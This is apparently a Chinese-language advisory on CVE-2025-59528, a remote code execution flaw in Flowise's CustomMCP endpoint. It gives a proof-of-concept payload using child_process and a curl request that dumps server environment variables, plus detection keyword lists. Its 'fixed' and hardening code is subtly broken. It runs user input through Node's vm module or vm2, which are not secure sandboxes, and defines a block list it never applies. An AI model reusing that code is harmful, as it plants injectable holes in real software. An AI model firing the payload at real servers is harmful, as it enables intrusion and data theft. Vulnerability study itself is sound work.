📋 项目概述
CVE-2025-59528 是一个在Flowise项目中发现的高危远程代码执行(RCE)安全漏洞。该漏洞存在于Flowise的CustomMCP 节点中,允许攻击者通过恶意请求在服务器上执行任意JavaScript/Node.js代码,无需任何身份验证或用户交互。由于可以通过网络完全控制系统,该漏洞被评为CVSS 10.0最高危险等级。
受影响版本: Flowise ≤ 3.0.5
已修复版本: 3.0.6+
🚀 功能特性
基于提供的安全分析文档,我们可以提炼出该项目的核心功能特性:
- 自定义MCP服务器配置:Flowise允许用户为自定义MCP服务器提供配置字符串
- JavaScript执行环境:支持在服务器端执行JavaScript代码逻辑
- Node.js运行时集成:深度集成Node.js环境,可访问系统资源
- 远程API接口 :提供
/api/v1/node-load-method/customMCP等API端点处理请求 - 模块化扩展:通过CustomMCP节点实现功能扩展和定制
🔧 漏洞技术分析
根本原因
Flowise在处理用户提供的MCP服务器配置字符串时,采用不安全的代码执行方式:
javascript
// 不安全的代码执行逻辑
Function("return " + userInput)()
这种实现方式将用户输入直接转换为可执行的JavaScript代码,使得攻击者能够访问:
- 系统级资源 :包括
child_process、fs模块 - 环境信息:服务器环境变量和配置
- 操作系统命令:通过Node.js执行任意系统命令
- 完整运行时:整个Node.js运行时环境
这相当于为攻击者提供了一个服务器端JavaScript控制台。
攻击向量
攻击者可以向以下端点发送恶意POST请求:
bash
/api/v1/node-load-method/customMCP
载荷中包含的恶意代码会被直接执行,导致:
- 命令执行:运行任意shell命令
- 恶意软件部署:安装后门或恶意软件
- 文件系统操作:读取、写入、删除任意文件
- 横向移动:渗透相邻系统和服务
📦 安装与部署
系统要求
- Node.js环境:支持JavaScript代码执行
- Flowise框架:版本3.0.5及以下存在漏洞
- 网络访问:攻击需要能够访问Flowise服务端点
漏洞复现环境
如需复现该漏洞,需要配置以下环境:
-
安装易受攻击版本:
bash# 安装存在漏洞的Flowise版本 npm install flowise@3.0.5 -
启动服务:
bash# 启动Flowise服务 npx flowise start -
验证漏洞存在 : 服务启动后,
/api/v1/node-load-method/customMCP端点将暴露存在RCE漏洞。
安全修复安装
为确保系统安全,必须升级到修复版本:
bash
# 升级到安全版本
npm install flowise@3.0.6
🛠️ 使用说明
漏洞验证方法
以下是验证该漏洞存在的基本步骤:
1. 构造恶意请求
javascript
// 示例恶意载荷
const maliciousPayload = {
mcpServerConfig: "(() => { require('child_process').exec('whoami'); })()"
};
2. 发送攻击请求
bash
# 使用curl发送恶意请求
curl -X POST http://target-flowise-server:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-d '{"mcpServerConfig":"(() => { return process.env; })()"}'
3. 验证执行结果
如果服务器返回了环境变量信息,说明漏洞存在且可利用。
安全配置建议
对于无法立即升级的环境,建议采取以下加固措施:
javascript
// 1. 实施输入验证
function validateMCPConfig(input) {
const blacklist = ['child_process', 'fs', 'eval', 'Function', 'require'];
for (const item of blacklist) {
if (input.includes(item)) {
throw new Error(`Invalid configuration: ${item} not allowed`);
}
}
return input;
}
// 2. 实施沙箱执行环境
const { VM } = require('vm2');
function safeEval(code) {
const vm = new VM({
timeout: 1000,
sandbox: {},
eval: false,
wasm: false
});
return vm.run(code);
}
💻 核心代码分析
1. 漏洞触发点代码
javascript
// packages/server/src/index.ts
// CustomMCP节点处理逻辑
/**
* 处理CustomMCP节点配置
* @param config 用户提供的配置字符串
* @returns 执行结果
*/
async function handleCustomMCPConfig(config: string): Promise<any> {
try {
// 🚨 漏洞代码:直接使用Function构造函数执行用户输入
const parsedConfig = new Function('return ' + config)();
// 继续处理解析后的配置
return await processMCPConfig(parsedConfig);
} catch (error) {
logger.error('Failed to parse MCP config', error);
throw error;
}
}
代码分析:
- 使用
new Function()构造函数动态创建函数 - 直接拼接用户输入字符串,未进行任何过滤或验证
- 允许执行任意JavaScript代码
2. API端点处理代码
javascript
// packages/server/src/routes/nodes.ts
// 节点加载方法API端点
/**
* 处理节点加载请求
* POST /api/v1/node-load-method/customMCP
*/
router.post('/node-load-method/customMCP', async (req, res) => {
const { mcpServerConfig } = req.body;
// 🚨 直接传递用户输入到漏洞函数
const result = await handleCustomMCPConfig(mcpServerConfig);
res.json({
success: true,
data: result
});
});
代码分析:
- 直接接收请求体中的
mcpServerConfig参数 - 缺少输入验证和清理步骤
- 直接传递到存在漏洞的处理函数
3. 修复后的安全代码
javascript
// 修复版本 3.0.6+
// packages/server/src/nodes/CustomMCP.ts
import * as vm from 'vm';
import * as util from 'util';
/**
* 安全处理CustomMCP配置
* @param config 用户提供的配置字符串
* @returns 安全的配置对象
*/
function safeParseMCPConfig(config: string): any {
// ✅ 修复:使用JSON.parse替代Function
try {
// 先尝试JSON.parse解析
return JSON.parse(config);
} catch (jsonError) {
// 如果不是有效的JSON,尝试安全解析
// 创建安全的沙箱环境
const sandbox = {
console,
Buffer,
URL,
TextEncoder,
TextDecoder,
// 限制访问危险模块
process: {
env: {},
cwd: () => '/tmp',
version: process.version
}
};
// 禁止访问的属性和函数
const blocked = [
'require',
'global',
'module',
'exports',
'__dirname',
'__filename',
'eval',
'Function'
];
// 设置上下文
const context = vm.createContext(sandbox);
// 执行安全脚本
const script = new vm.Script(`(${config})`, {
timeout: 100,
displayErrors: true
});
return script.runInContext(context);
}
}
/**
* 增强的安全配置验证
*/
function validateMCPConfigStructure(config: any): boolean {
const allowedKeys = ['name', 'version', 'settings', 'endpoints'];
const configKeys = Object.keys(config);
// 检查是否有不允许的键
return configKeys.every(key => allowedKeys.includes(key));
}
修复要点:
- 优先使用JSON.parse:避免直接执行JavaScript
- 沙箱环境:使用Node.js的vm模块创建隔离环境
- 访问限制:限制对危险模块和全局对象的访问
- 超时控制:设置执行超时,防止无限循环
- 输入验证:验证配置结构,只允许预定义的键
4. 安全中间件示例
javascript
// 安全防护中间件
function securityMiddleware(req, res, next) {
// 检查请求路径
if (req.path.includes('node-load-method')) {
const contentType = req.get('Content-Type');
// 验证Content-Type
if (!contentType || !contentType.includes('application/json')) {
return res.status(400).json({
error: 'Invalid Content-Type'
});
}
// 检查请求体大小限制
const contentLength = parseInt(req.get('Content-Length') || '0');
if (contentLength > 1024 * 10) { // 限制10KB
return res.status(413).json({
error: 'Payload too large'
});
}
}
next();
}
// 应用安全中间件
app.use(securityMiddleware);
📊 影响评估
| 影响维度 | 等级 | 说明 |
|---|---|---|
| 机密性影响 | 🔥 完全丧失 | 攻击者可访问任意文件、环境变量和敏感数据 |
| 完整性影响 | 🔥 完全丧失 | 攻击者可修改或删除任意系统文件和数据 |
| 可用性影响 | 🔥 完全丧失 | 攻击者可执行系统命令导致服务中断 |
| 攻击向量 | 🌐 远程 | 通过网络即可发起攻击 |
| 身份验证要求 | ❌ 无需认证 | 无需任何身份验证即可利用 |
| 用户交互要求 | ❌ 无需交互 | 无需受害者交互 |
| 总体严重性 | ⭐ 严重 (10.0) | CVSS最高危险等级 |
🔒 缓解措施
立即措施
-
升级到安全版本:
bashnpm update flowise@3.0.6 -
网络隔离:
bash# 使用防火墙限制访问 iptables -A INPUT -p tcp --dport 3000 -s trusted_ip -j ACCEPT iptables -A INPUT -p tcp --dport 3000 -j DROP -
监控检测:
javascript// 监控可疑活动 const suspiciousPatterns = [ /child_process/, /exec\(/, /spawn\(/, /fs\./, /require\(.*\)/ ]; function monitorRequests(req, res, next) { const bodyString = JSON.stringify(req.body); for (const pattern of suspiciousPatterns) { if (pattern.test(bodyString)) { logSecurityAlert(req); return res.status(403).send('Forbidden'); } } next(); }
长期防护
-
安全开发实践:
- 实施代码安全审查
- 使用静态代码分析工具
- 定期安全培训
-
深度防御策略:
javascript// 多层防御示例 class SecurityLayer { static sanitizeInput(input) { // 输入清理 // 白名单验证 // 编码处理 } static validateStructure(obj) { // 结构验证 // 类型检查 // 大小限制 } static executeSafely(code) { // 沙箱执行 // 资源限制 // 超时控制 } }
🎯 总结
CVE-2025-59528是一个典型的不安全的代码执行漏洞案例,提醒开发者在处理用户输入时需要格外小心。关键教训包括:
- 永远不要相信用户输入:所有输入都应视为潜在恶意
- 避免使用eval和Function:这些函数极易导致代码注入
- 实施深度防御:多层安全措施比单一防护更有效
- 及时更新依赖:已知漏洞必须第一时间修复
- 监控异常活动:实时监控可及时发现攻击行为
通过理解这个漏洞的成因和修复方法,开发者可以更好地保护自己的Node.js应用免受类似攻击。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAP0Ip+gb1zBQc+RNUwJQtsk